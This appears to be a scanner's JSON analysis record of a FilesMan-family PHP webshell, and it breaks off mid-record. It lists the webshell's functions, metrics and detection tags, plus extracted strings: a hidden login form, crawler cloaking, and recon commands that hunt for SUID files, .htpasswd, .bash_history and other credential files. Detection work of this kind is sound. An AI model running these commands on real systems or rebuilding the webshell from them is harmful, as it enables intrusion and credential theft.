"empty", "htmlspecialchars", "htmlspecialchars", "htmlspecialchars", "strpos", "htmlspecialchars", "strpos", "htmlspecialchars", "strpos", "htmlspecialchars", "addslashes", "diskfreespace", "disk_total_space", "php_uname", "php_uname", "strpos", "urlencode", "substr", "urlencode", "substr", "function_exists", "get_current_user", "getmyuid", "getmygid", "posix_getpwuid", "posix_geteuid", "posix_getgrgid", "posix_getegid", "explode", "count", "empty", "count", "range", "is_dir", "substr", "php_uname", "phpversion", "date", "TuXViewSize", "TuXViewSize", "TuXPermsColor", "is_writable", "htmlspecialchars", "isset", "function_exists", "strpos", "function_exists", "strpos", "function_exists", "exec", "join", "function_exists", "ob_start", "passthru", "ob_get_clean", "function_exists", "ob_start", "system", "ob_get_clean", "function_exists", "shell_exec", "is_resource", "popen", "feof", "fread", "pclose", "sprintf", "sprintf", "sprintf", "is_readable", "TuXPerms", "fileperms", "is_writable", "TuXPerms", "fileperms", "TuXPerms", "fileperms", "function_exists", "opendir", "readdir", "TuXEx", "empty", "TuXHeader", "trim", "strpos", "TuXSecParam", "getenv", "function_exists", "TuXSecParam", "implode", "apache_get_modules", "TuXSecParam", "TuXSecParam", "ini_get", "TuXSecParam", "ini_get", "TuXSecParam", "ini_get", "TuXSecParam", "function_exists", "function_exists", "mysql_get_client_info", "function_exists", "function_exists", "function_exists", "TuXSecParam", "implode", "TuXSecParam", "is_readable", "TuXSecParam", "is_readable", "TuXSecParam", "file_get_contents", "TuXSecParam", "file_get_contents", "TuXWhich", "TuXSecParam", "implode", "TuXWhich", "TuXSecParam", "implode", "TuXWhich", "TuXSecParam", "implode", "TuXSecParam", "TuXEx", "TuXSecParam", "file_get_contents", "TuXSecParam", "TuXEx", "TuXSecParam", "TuXEx", "TuXSecParam", "TuXEx", "TuXFooter", "isset", "md5", "ob_start", "eval", "addcslashes", "htmlspecialchars", "ob_get_clean", "strlen", "TuXHeader", "isset", "ob_start", "phpinfo", "ob_get_clean", "preg_replace", "preg_replace", "str_replace", "empty", "empty", "md5", "empty", "htmlspecialchars", "md5", "empty", "empty", "ob_start", "eval", "htmlspecialchars", "ob_get_clean", "TuXFooter", "TuXHeader", "empty", "move_uploaded_file", "mkdir", "substr", "opendir", "readdir", "basename", "basename", "filetype", "deleteDir", "unlink", "closedir", "rmdir", "is_array", "urldecode", "is_dir", "deleteDir", "unlink", "is_dir", "mkdir", "opendir", "readdir", "copy_paste", "is_file", "copy", "copy_paste", "is_dir", "mkdir", "opendir", "readdir", "copy_paste", "is_file", "copy", "rename", "class_exists", "chdir", "is_file", "is_dir", "realpath", "chdir", "class_exists", "chdir", "array_map", "TuXEx", "escapeshellarg", "implode", "chdir", "empty", "urldecode", "scandir", "isset", "TuXFooter", "empty", "preg_match", "count", "posix_getpwuid", "fileowner", "posix_getgrgid", "filegroup", "date", "filemtime", "TuXPermsColor", "filesize", "fileowner", "filegroup", "is_file", "array_merge", "is_link", "array_merge", "readlink", "is_dir", "array_merge", "strcmp", "strtolower", "strtolower", "usort", "usort", "array_merge", "urlencode", "urlencode", "htmlspecialchars", "htmlspecialchars", "TuXViewSize", "urlencode", "urlencode", "urlencode", "urlencode", "urlencode", "htmlspecialchars", "isset", "class_exists", "empty", "count", "empty", "count", "date", "TuXFooter", "function_exists", "decbin", "hexdec", "function_exists", "dechex", "bindec", "function_exists", "strLen", "chr", "hexdec", "function_exists", "strlen", "sprintf", "ord", "strtoupper", "function_exists", "strlen", "dechex", "ord", "strtoupper", "isset", "md5", "ob_start", "in_array", "addcslashes", "htmlspecialchars", "ob_get_clean", "strlen", "TuXHeader", "empty", "empty", "md5", "htmlspecialchars", "md5", "empty", "htmlspecialchars", "empty", "empty", "in_array", "htmlspecialchars", "htmlspecialchars", "substr", "array_unique", "array_merge", "glob", "glob", "is_array", "count", "is_dir", "TuXRecursiveGlob", "strpos", "file_get_contents", "urlencode", "htmlspecialchars", "TuXRecursiveGlob", "TuXFooter", "isset", "urldecode", "is_file", "is_readable", "ob_start", "header", "basename", "function_exists", "mime_content_type", "header", "header", "fopen", "feof", "fread", "fclose", "file_exists", "fopen", "fclose", "TuXHeader", "file_exists", "TuXFooter", "posix_getpwuid", "fileowner", "fileowner", "filegroup", "posix_getgrgid", "filegroup", "htmlspecialchars", "basename", "is_file", "TuXViewSize", "filesize", "TuXPermsColor", "date", "filectime", "date", "fileatime", "date", "filemtime", "empty", "is_file", "strtolower", "strtolower", "fopen", "feof", "htmlspecialchars", "fread", "fclose", "is_readable", "highlight_file", "str_replace", "empty", "strlen", "pow", "strlen", "chmod", "clearstatcache", "substr", "sprintf", "fileperms", "is_writable", "empty", "filemtime", "substr", "fopen", "fwrite", "fclose", "touch", "fopen", "feof", "htmlspecialchars", "fread", "fclose", "file_get_contents", "strlen", "sprintf", "ord", "ord", "sprintf", "htmlspecialchars", "empty", "rename", "die", "urlencode", "htmlspecialchars", "empty", "strtotime", "touch", "clearstatcache", "date", "filemtime", "TuXFooter", "ob_start", "tempnam", "copy", "file_get_contents", "unlink", "glob", "is_array", "curl_init", "preg_replace", "curl_exec", "ini_restore", "ini_restore", "posix_getpwuid", "join", "ob_get_clean", "TuXHeader", "htmlspecialchars", "TuXFooter", "empty", "empty", "md5", "empty", "md5", "isset", "md5", "ob_start", "iconv", "addcslashes", "TuXEx", "preg_match", "chdir", "getcwd", "ob_get_clean", "strlen", "TuXHeader", "htmlspecialchars", "htmlspecialchars", "empty", "empty", "md5", "md5", "empty", "md5", "empty", "htmlspecialchars", "TuXEx", "TuXFooter", "session_destroy", "die", "unlink", "preg_replace", "die", "TuXHeader", "TuXFooter", "TuXHeader", "isset", "htmlspecialchars", "htmlspecialchars", "ftp_connect", "ftp_login", "ftp_close", "mysql_connect", "mysql_close", "pg_connect", "pg_close", "explode", "file", "is_array", "explode", "bruteForce", "htmlspecialchars", "htmlspecialchars", "strlen", "bruteForce", "file", "is_array", "trim", "bruteForce", "TuXFooter", "mysql_connect", "explode", "pg_connect", "mysql_select_db", "mysql_query", "pg_query", "func_num_args", "func_get_arg", "mysql_fetch_assoc", "pg_fetch_assoc", "mysql_error", "pg_last_error", "function_exists", "mysql_set_charset", "pg_set_client_encoding", "addslashes", "addslashes", "implode", "mysql_fetch_array", "fwrite", "is_numeric", "mysql_real_escape_string", "implode", "implode", "implode", "fwrite", "fwrite", "addslashes", "implode", "implode", "fwrite", "ob_start", "header", "header", "fopen", "fclose", "die", "TuXHeader", "isset", "isset", "each", "addslashes", "isset", "each", "ceil", "reset", "nl2br", "TuXFooter", "TuXHeader", "eval", "base64_decode", "isset", "fopen", "function_exists", "fwrite", "base64_decode", "fclose", "cf", "TuXEx", "TuXEx", "unlink", "cf", "TuXEx", "TuXEx", "unlink", "TuXFooter", "php_uname", "phpversion", "ini_get", "serialize", "eval", "isset", "function_exists", "function_exists", "call_user_func" ], "ms": { "file": { "size": 68401.0 }, "text": { "tab_count": 3355.0, "digit_ratio": 0.04, "space_count": 6380.0, "total_lines": 1527.0, "char_entropy": 5.59, "mixed_indent": true, "unique_chars": 97.0, "escape_density": 0.01, "import_density": 39.49, "lines_over_200": 31.0, "lines_over_500": 7.0, "string_density": 1.96, "avg_line_length": 42.8, "max_line_length": 998.0, "empty_line_ratio": 0.03, "hex_escape_count": 1.0, "last_line_length": 2.0, "long_token_count": 15.0, "most_common_char": "e", "whitespace_ratio": 0.19, "most_common_ratio": 0.05, "identifier_density": 1.4, "line_length_stddev": 63.29, "octal_escape_count": 3.0, "encoded_string_ratio": 0.0, "normalized_import_count": 15.43, "normalized_string_count": 76.46, "repeated_char_sequences": 110.0, "suspicious_string_ratio": 0.04, "max_inline_whitespace_run": 2.0, "normalized_function_count": 1.31, "trailing_whitespace_lines": 9.0, "imports_to_functions_ratio": 11.82, "strings_to_functions_ratio": 58.59, "suspicious_identifier_ratio": 0.06, "normalized_unique_identifiers": 30.73, "identifiers_to_functions_ratio": 6.37 }, "imports": { "total": 603.0, "unique_modules": 170.0, "third_party_count": 603.0, "third_party_ratio": 1.0 }, "strings": { "total": 2988.0, "url_count": 4.0, "avg_length": 20.47, "max_length": 1122.0, "path_count": 40.0, "avg_entropy": 2.34, "sql_strings": 23.0, "total_bytes": 61170.0, "entropy_stddev": 1.34, "base64_candidates": 8.0, "very_long_strings": 3.0, "high_entropy_count": 25.0, "shell_command_strings": 50.0, "embedded_code_candidates": 33.0 }, "comments": { "chars": 14.0, "lines": 1.0, "total": 1.0, "to_code_ratio": 0.0 }, "functions": { "total": 51.0, "one_liners": 7.0, "length_stddev": 58.36, "over_100_lines": 4.0, "avg_name_length": 9.92, "no_params_count": 51.0, "avg_length_lines": 31.92, "max_length_lines": 333.0, "min_length_lines": 1.0, "avg_nesting_depth": 0.51, "max_nesting_depth": 1.0, "high_entropy_names": 3.0, "density_per_100_lines": 3.34, "code_in_functions_ratio": 1.07 }, "identifiers": { "total": 2142.0, "avg_length": 8.0, "max_length": 26.0, "min_length": 1.0, "avg_entropy": 2.44, "reuse_ratio": 0.15, "unique_count": 325.0, "length_stddev": 4.66, "has_digit_ratio": 0.02, "sequential_names": 18.0, "single_char_count": 18.0, "single_char_ratio": 0.06, "high_entropy_count": 14.0, "high_entropy_ratio": 0.04, "all_lowercase_ratio": 0.82, "all_uppercase_ratio": 0.03, "numeric_suffix_count": 1.0, "double_underscore_count": 1.0, "underscore_prefix_count": 5.0 } }, "ss": [ [ 72, "#df5" ], [ 73, "#df5" ], [ 99, "FilesMan" ], [ 100, "FilesMan" ], [ 158, "Windows-1251" ], [ 159, "Windows-1251" ], [ 196, "HTTP_USER_AGENT" ], [ 197, "HTTP_USER_AGENT" ], [ 244, "Google" ], [ 245, "Google" ], [ 254, "Slurp" ], [ 255, "Slurp" ], [ 263, "MSNBot" ], [ 264, "MSNBot" ], [ 273, "ia_archiver" ], [ 274, "ia_archiver" ], [ 288, "Yandex" ], [ 289, "Yandex" ], [ 298, "Rambler" ], [ 299, "Rambler" ], [ 329, "/" ], [ 330, "/" ], [ 343, "|" ], [ 344, "|" ], [ 363, "/i" ], [ 364, "/i" ], [ 378, "HTTP_USER_AGENT" ], [ 379, "HTTP_USER_AGENT" ], [ 417, "HTTP/1.0 404 Not Found" ], [ 418, "HTTP/1.0 404 Not Found" ], [ 500, "error_log" ], [ 501, "error_log" ], [ 529, "log_errors" ], [ 530, "log_errors" ], [ 556, "max_execution_time" ], [ 557, "max_execution_time" ], [ 642, "TuX_VERSION" ], [ 643, "TuX_VERSION" ], [ 657, "666.9" ], [ 658, "666.9" ], [ 775, "TuXstripslashes" ], [ 776, "TuXstripslashes" ], [ 900, "\u003cpre align=center\u003e\u003cbr\u003e\u003cbr\u003e\u003cform method=post\u003e\u003cinput type=password name=pass\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/pre\u003e" ], [ 901, "\u003cpre align=center\u003e\u003cbr\u003e\u003cbr\u003e\u003cform method=post\u003e\u003cinput type=password name=pass\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/pre\u003e" ], [ 1062, "HTTP_HOST" ], [ 1063, "HTTP_HOST" ], [ 1121, "pass" ], [ 1122, "pass" ], [ 1145, "pass" ], [ 1146, "pass" ], [ 1199, "HTTP_HOST" ], [ 1200, "HTTP_HOST" ], [ 1284, "win" ], [ 1285, "win" ], [ 1299, "win" ], [ 1300, "win" ], [ 1320, "nix" ], [ 1321, "nix" ], [ 1352, "safe_mode" ], [ 1353, "safe_mode" ], [ 1441, "disable_functions" ], [ 1442, "disable_functions" ], [ 1504, "c" ], [ 1505, "c" ], [ 1527, "c" ], [ 1528, "c" ], [ 1564, "win" ], [ 1565, "win" ], [ 1599, "\\\\" ], [ 1605, "/" ], [ 1606, "/" ], [ 1643, "\\\\" ], [ 1649, "/" ], [ 1650, "/" ], [ 1693, "/" ], [ 1694, "/" ], [ 1709, "/" ], [ 1710, "/" ], [ 1750, "HTTP_HOST" ], [ 1751, "HTTP_HOST" ], [ 1766, "ajax" ], [ 1767, "ajax" ], [ 1804, "HTTP_HOST" ], [ 1805, "HTTP_HOST" ], [ 1820, "ajax" ], [ 1821, "ajax" ], [ 1845, "default_use_ajax" ], [ 1846, "default_use_ajax" ], [ 1880, "win" ], [ 1881, "win" ], [ 1910, "List Directory" ], [ 1911, "List Directory" ], [ 1930, "dir" ], [ 1931, "dir" ], [ 1943, "Find index.php in current dir" ], [ 1944, "Find index.php in current dir" ], [ 1978, "dir /s /w /b index.php" ], [ 1979, "dir /s /w /b index.php" ], [ 2010, "Find *config*.php in current dir" ], [ 2011, "Find *config*.php in current dir" ], [ 2048, "dir /s /w /b *config*.php" ], [ 2049, "dir /s /w /b *config*.php" ], [ 2083, "Show active connections" ], [ 2084, "Show active connections" ], [ 2112, "netstat -an" ], [ 2113, "netstat -an" ], [ 2133, "Show running services" ], [ 2134, "Show running services" ], [ 2160, "net start" ], [ 2161, "net start" ], [ 2179, "User accounts" ], [ 2180, "User accounts" ], [ 2198, "net user" ], [ 2199, "net user" ], [ 2216, "Show computers" ], [ 2217, "Show computers" ], [ 2236, "net view" ], [ 2237, "net view" ], [ 2251, "ARP Table" ], [ 2252, "ARP Table" ], [ 2266, "arp -a" ], [ 2267, "arp -a" ], [ 2279, "IP Configuration" ], [ 2280, "IP Configuration" ], [ 2301, "ipconfig /all" ], [ 2302, "ipconfig /all" ], [ 2353, "List dir" ], [ 2354, "List dir" ], [ 2367, "ls -lha" ], [ 2368, "ls -lha" ], [ 2381, "list file attributes on a Linux second extended file system" ], [ 2382, "list file attributes on a Linux second extended file system" ], [ 2446, "lsattr -va" ], [ 2447, "lsattr -va" ], [ 2465, "show opened ports" ], [ 2466, "show opened ports" ], [ 2488, "netstat -an | grep -i listen" ], [ 2489, "netstat -an | grep -i listen" ], [ 2529, "process status" ], [ 2530, "process status" ], [ 2549, "ps aux" ], [ 2550, "ps aux" ], [ 2562, "Find" ], [ 2563, "Find" ], [ 2581, "find all suid files" ], [ 2582, "find all suid files" ], [ 2606, "find / -type f -perm -04000 -ls" ], [ 2607, "find / -type f -perm -04000 -ls" ], [ 2646, "find suid files in current dir" ], [ 2647, "find suid files in current dir" ], [ 2682, "find . -type f -perm -04000 -ls" ], [ 2683, "find . -type f -perm -04000 -ls" ], [ 2722, "find all sgid files" ], [ 2723, "find all sgid files" ], [ 2747, "find / -type f -perm -02000 -ls" ], [ 2748, "find / -type f -perm -02000 -ls" ], [ 2787, "find sgid files in current dir" ], [ 2788, "find sgid files in current dir" ], [ 2823, "find . -type f -perm -02000 -ls" ], [ 2824, "find . -type f -perm -02000 -ls" ], [ 2863, "find config.inc.php files" ], [ 2864, "find config.inc.php files" ], [ 2894, "find / -type f -name config.inc.php" ], [ 2895, "find / -type f -name config.inc.php" ], [ 2938, "find config* files" ], [ 2939, "find config* files" ], [ 2962, "find / -type f -name \\\"config*\\" ], [ 2963, "find / -type f -name " ], [ 2986, "config*" ], [ 3003, "find config* files in current dir" ], [ 3004, "find config* files in current dir" ], [ 3042, "find . -type f -name \\\"config*\\" ], [ 3043, "find . -type f -name " ], [ 3066, "config*" ], [ 3083, "find all writable folders and files" ], [ 3084, "find all writable folders and files" ], [ 3124, "find / -perm -2 -ls" ], [ 3125, "find / -perm -2 -ls" ], [ 3152, "find all writable folders and files in current dir" ], [ 3153, "find all writable folders and files in current dir" ], [ 3208, "find . -perm -2 -ls" ], [ 3209, "find . -perm -2 -ls" ], [ 3236, "find all service.pwd files" ], [ 3237, "find all service.pwd files" ], [ 3268, "find / -type f -name service.pwd" ], [ 3269, "find / -type f -name service.pwd" ], [ 3309, "find service.pwd files in current dir" ], [ 3310, "find service.pwd files in current dir" ], [ 3352, "find . -type f -name service.pwd" ], [ 3353, "find . -type f -name service.pwd" ], [ 3393, "find all .htpasswd files" ], [ 3394, "find all .htpasswd files" ], [ 3423, "find / -type f -name .htpasswd" ], [ 3424, "find / -type f -name .htpasswd" ], [ 3462, "find .htpasswd files in current dir" ], [ 3463, "find .htpasswd files in current dir" ], [ 3503, "find . -type f -name .htpasswd" ], [ 3504, "find . -type f -name .htpasswd" ], [ 3542, "find all .bash_history files" ], [ 3543, "find all .bash_history files" ], [ 3576, "find / -type f -name .bash_history" ], [ 3577, "find / -type f -name .bash_history" ], [ 3619, "find .bash_history files in current dir" ], [ 3620, "find .bash_history files in current dir" ], [ 3664, "find . -type f -name .bash_history" ], [ 3665, "find . -type f -name .bash_history" ], [ 3707, "find all .fetchmailrc files" ], [ 3708, "find all .fetchmailrc files" ], [ 3740, "find / -type f -name .fetchmailrc" ], [ 3741, "find / -type f -name .fetchmailrc" ], [ 3782, "find .fetchmailrc files in current dir" ], [ 3783, "find .fetchmailrc files in current dir" ], [ 3826, "find . -type f -name .fetchmailrc" ], [ 3827, "find . -type f -name .fetchmailrc" ], [ 3866, "Locate" ], [ 3867, "Locate" ], [ 3887, "locate httpd.conf files" ], [ 3888, "locate httpd.conf files" ], [ 3916, "locate httpd.conf" ], [ 3917, "locate httpd.conf" ], [ 3940, "locate vhosts.conf files" ], [ 3941, "locate vhosts.conf files" ], [ 3970, "locate vhosts.conf" ], [ 3971, "locate vhosts.conf" ], [ 3995, "locate proftpd.conf files" ], [ 3996, "locate proftpd.conf files" ], [ 4026, "locate proftpd.conf" ], [ 4027, "locate proftpd.conf" ], [ 4052, "locate psybnc.conf files" ], [ 4053, "locate psybnc.conf files" ], [ 4082, "locate psybnc.conf" ], [ 4083, "locate psybnc.conf" ], [ 4107, "locate my.conf files" ], [ 4108, "locate my.conf files" ], [ 4133, "locate my.conf" ], [ 4134, "locate my.conf" ], [ 4154, "locate admin.php files" ], [ 4155, "locate admin.php files" ], [ 4181, "locate admin.php" ], [ 4182, "locate admin.php" ], [ 4204, "locate cfg.php files" ], [ 4205, "locate cfg.php files" ], [ 4230, "locate cfg.php" ], [ 4231, "locate cfg.php" ], [ 4251, "locate conf.php files" ], [ 4252, "locate conf.php files" ], [ 4278, "locate conf.php" ], [ 4279, "locate conf.php" ], [ 4300, "locate config.dat files" ], [ 4301, "locate config.dat files" ], [ 4329, "locate config.dat" ], [ 4330, "locate config.dat" ], [ 4353, "locate config.php files" ], [ 4354, "locate config.php files" ], [ 4382, "locate config.php" ], [ 4383, "locate config.php" ] ], "sz": 68401, "ts": [ { "c": 0.75, "d": "Generic $_SERVER superglobal access", "e": [ "$_SERVER" ], "i": "micro-behaviors/communications/http/request/params::server-dup", "l": 3 }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "file_get_contents" ], "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7", "l": 1, "m": "B0030" }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account postgres", "e": [ "postgres" ], "i": "objectives/lateral-movement/brute-force/password::service-account-postgres", "l": 1, "m": "E1110" }, { "c": 0.75, "d": "Session variable access ($_SESSION)", "e": [ "$_SESSION" ], "i": "micro-behaviors/communications/http/request/params::session", "l": 3 }, { "c": 0.8999999761581421, "d": "shell_exec fallback function name", "e": [ "shell_exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-shell-exec-name", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "system fallback function name", "e": [ "system" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-system-name", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Very long embedded string", "e": [ "strings.max_length = 1122.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string", "l": 1 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "store" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-6--inline-11769", "l": 1 }, { "a": "T1505.003", "c": 0.949999988079071, "d": "Regex component marker", "e": [ "eval(base64_decode(" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-decoder-chain--rx-1", "l": 1, "m": "B0030" }, { "a": "T1486", "c": 0.4000000059604645, "d": "rename( function", "e": [ "rename(" ], "i": "objectives/impact/ransom/tactics::rename-fn", "l": 1 }, { "c": 0.7599999904632568, "d": "Regex component marker", "e": [ "directory" ], "i": "micro-behaviors/data/text/llm/action::llm-path-navigation-action--rx-21", "l": 1 }, { "c": 1.0, "d": "PHP rmdir function symbol", "e": [ "rmdir" ], "i": "micro-behaviors/fs/delete/directory::php-rmdir", "l": 3 }, { "a": "T1105", "c": 0.800000011920929, "d": "Creates or overwrites a local file", "e": [ "file_put_contents" ], "i": "micro-behaviors/fs/write/file/direct::file-put-contents", "l": 3, "m": "C0052" }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "method=" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-3", "l": 1, "m": "B0030" }, { "c": 0.8500000238418579, "d": "PHP mysql_connect database handle", "e": [ "mysql_connect" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-connect", "l": 3 }, { "a": "T1082", "c": 0.699999988079071, "d": "Accesses PHP_OS constant (OS detection)", "e": [ "PHP_OS" ], "i": "objectives/discovery/system/fingerprint/info::php-os-constant", "l": 3, "m": "E1082" }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via system()", "e": [ "system" ], "i": "micro-behaviors/process/create/shell/lang::system", "l": 3, "m": "E1059" }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster--rx-16", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "passthru fallback function name", "e": [ "passthru" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-passthru-name", "l": 1, "m": "B0030" }, { "a": "T1071.001", "d": "HTTP/1.x version string", "e": [ "HTTP/1." ], "i": "micro-behaviors/communications/http/request/client::http-version", "l": 2, "m": "C0002" }, { "a": "T1505.003", "c": 0.949999988079071, "d": "FilesMan webshell family", "e": [ "FilesMan" ], "i": "well-known/malware/webshell/family::filesman", "l": 4, "m": "B0030" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "\u003e\r\n\t\t\u003cinput type=hidden name=p1 value='uploadFile'\u003e\r\n\t\t\u003cinput type=hidden name=charset value=", "\u003e\r\n\t\t\u003cspan\u003eUpload file:\u003c/span\u003e", "Can't upload file!", "uploadFile", "\u003e\r\n\t\t\u003cspan\u003eUpload file:\u003c/span\u003e$is_writable\u003cbr\u003e\u003cinput class='toolsInp' type=file name=f\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003cbr " ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-11", "l": 1 }, { "d": "Content-Type header string", "e": [ "Content-Type:" ], "i": "micro-behaviors/communications/http/request/client::content-type-header", "l": 1 }, { "c": 0.800000011920929, "d": "Sequential source identifier names", "e": [ "identifiers.sequential_names = 18.00" ], "i": "metadata/file/text/profile::sequential-identifiers", "l": 2 }, { "c": 0.8500000238418579, "d": "PHP mysql query execution APIs", "e": [ "mysql_query" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-query", "l": 3 }, { "a": "T1071.001", "c": 0.699999988079071, "d": "HTTP POST method", "e": [ "'POST'" ], "i": "micro-behaviors/communications/http/post::post", "l": 1, "m": "C0002" }, { "a": "T1071.001", "c": 0.699999988079071, "d": "application/x-www-form-urlencoded content type", "e": [ "application/x-www-form-urlencoded" ], "i": "micro-behaviors/communications/http/post::url-encoded-content-type", "l": 1, "m": "C0002" }, { "a": "T1071", "c": 0.6000000238418579, "d": "URL with .php endpoint", "e": [ "http://exploit-db.com/list.php" ], "i": "objectives/command-and-control/infrastructure/domain/tld::php-endpoint-url", "l": 1 }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "ini_get('disable_functions" ], "i": "objectives/command-and-control/backdoor/webshell/config::php-security-setting-probe--rx-2", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "netstat -an" ], "i": "objectives/command-and-control/backdoor/webshell/recon::recon-command-panel--rx-11", "l": 1, "m": "B0030" }, { "c": 0.8500000238418579, "d": "Removes PHP script execution time limit", "e": [ "@set_time_limit(0)" ], "i": "objectives/command-and-control/backdoor/webshell/session::unlimited-runtime-call", "l": 4 }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 1527.00", "text.total_lines = 32.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "c": 0.8500000238418579, "d": "MIME octet-stream content type", "e": [ "application/octet-stream" ], "i": "micro-behaviors/communications/email/mime::mime-octet-stream", "l": 1 }, { "c": 0.6000000238418579, "d": "SELECT SQL keyword in query", "e": [ "SELECT datname FROM" ], "i": "micro-behaviors/data/db/conn/sql::sql-select", "l": 3 }, { "d": "Redirect to /dev/null", "e": [ "\u003e/dev/null" ], "i": "micro-behaviors/os/console/io::redirect-dev-null", "l": 2 }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 998.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Process open via popen()", "e": [ "popen" ], "i": "micro-behaviors/process/create/shell/lang::popen", "l": 3, "m": "E1059" }, { "a": "T1059.006", "c": 0.75, "d": "Perl script execution", "e": [ "perl /tmp/bp.pl" ], "i": "objectives/execution/interpreter/script/download::perl-execute", "l": 3, "m": "C0059" }, { "c": 0.699999988079071, "d": "base64 encoding keyword", "e": [ "Base64" ], "i": "micro-behaviors/data/text/encoded::base64-token", "l": 3 }, { "c": 0.75, "d": "Hardcoded localhost network host", "e": [ "localhost" ], "i": "micro-behaviors/communications/ip/literal::localhost-source", "l": 2 }, { "a": "T1562.001", "c": 0.699999988079071, "d": "Reads disable_functions setting", "e": [ "ini_get('disable_functions" ], "i": "objectives/evasion/security-bypass/runtime::ini-get-disable-functions", "l": 4, "m": "B0032" }, { "c": 0.800000011920929, "d": "Detects PHP copy file recreation call", "e": [ "copy" ], "i": "objectives/impact/infect/script::php-copy-call", "l": 1 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports base64_decode", "e": [ "[TuXEx, TuXFooter, TuXHeader, TuXLogin, TuXPerms, TuXPermsColor, TuXRecursiveGlob, TuXSecParam, TuXViewSize, TuXWhich, TuXstrips" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode", "l": 1 }, { "c": 0.30000001192092896, "d": "stderr string reference", "e": [ "stderr_to_out", "\u003e redirect stderr to stdout (2\u003e\u00261)\u003c/nobr\u003e\u003cbr/\u003e\u003ctextarea class=bigarea name=output style=\"border-bottom:0;margin:0;\" readonly\u003e" ], "i": "micro-behaviors/process/fd/stdio::stderr-string", "l": 2 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "\u003cpre align=center\u003e\u003cbr\u003e\u003cbr\u003e\u003cform method=post\u003e\u003cinput type=password name=pass\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/pre\u003e", " password=", "\r\n\u003ch1\u003eSql browser\u003c/h1\u003e\u003cdiv class=content\u003e\r\n\u003cform name='sf' method='post' onsubmit='fs(this);'\u003e\u003ctable cellpadding='2' cellspacing", "host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11750", "l": 1 }, { "c": 0.8999999761581421, "d": "Shell executes /tmp path directly", "e": [ " /tmp/bp.pl " ], "i": "micro-behaviors/data/text/dropper::executes-tmp-file", "l": 3 }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "escapeshellarg" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster-cond-0--inline-16595", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "netstat -an command", "e": [ "netstat -an" ], "i": "micro-behaviors/os/network/status::netstat-an", "l": 3 }, { "a": "T1082", "d": "Windows ipconfig command", "e": [ "ipconfig /all" ], "i": "objectives/discovery/system/fingerprint/os::windows-ipconfig", "l": 3, "m": "B0012" }, { "a": "T1546", "c": 1.0, "d": "Writes data to a file via functions", "e": [ "fopen(" ], "i": "micro-behaviors/fs/file/write/direct::php-file-write-func", "l": 2 }, { "c": 0.8500000238418579, "d": "MIME attachment disposition", "e": [ "Content-Disposition: attachment" ], "i": "micro-behaviors/communications/email/mime::mime-content-disposition", "l": 1 }, { "a": "T1083", "c": 1.0, "d": "Iterate directory contents via functions in PHP", "e": [ "scandir(" ], "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-fn", "l": 2 }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "find . -type f" ], "i": "objectives/command-and-control/backdoor/webshell/recon::recon-command-panel--rx-13", "l": 1, "m": "B0030" }, { "a": "T1505.003", "d": "PHP open tag", "e": [ "\u003c?php" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-tag", "l": 1, "m": "B0030" }, { "a": "T1027", "c": 0.6499999761581421, "d": "serialize/unserialize for object serialization", "e": [ "serialize(" ], "i": "objectives/anti-static/obfuscation/encoding/xor::serialize-call", "l": 2, "m": "B0032" }, { "a": "T1083", "c": 1.0, "d": "Iterate directory contents via iterators in PHP", "e": [ "RecursiveDirectoryIterator" ], "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-iterator", "l": 2 }, { "a": "T1059", "c": 0.800000011920929, "d": "Self-reference via __FILE__", "e": [ "__FILE__" ], "i": "micro-behaviors/fs/read/self::self-file-reference", "l": 3 }, { "a": "T1071.001", "c": 0.6499999761581421, "d": "httpd.conf configuration file", "e": [ "httpd.conf" ], "i": 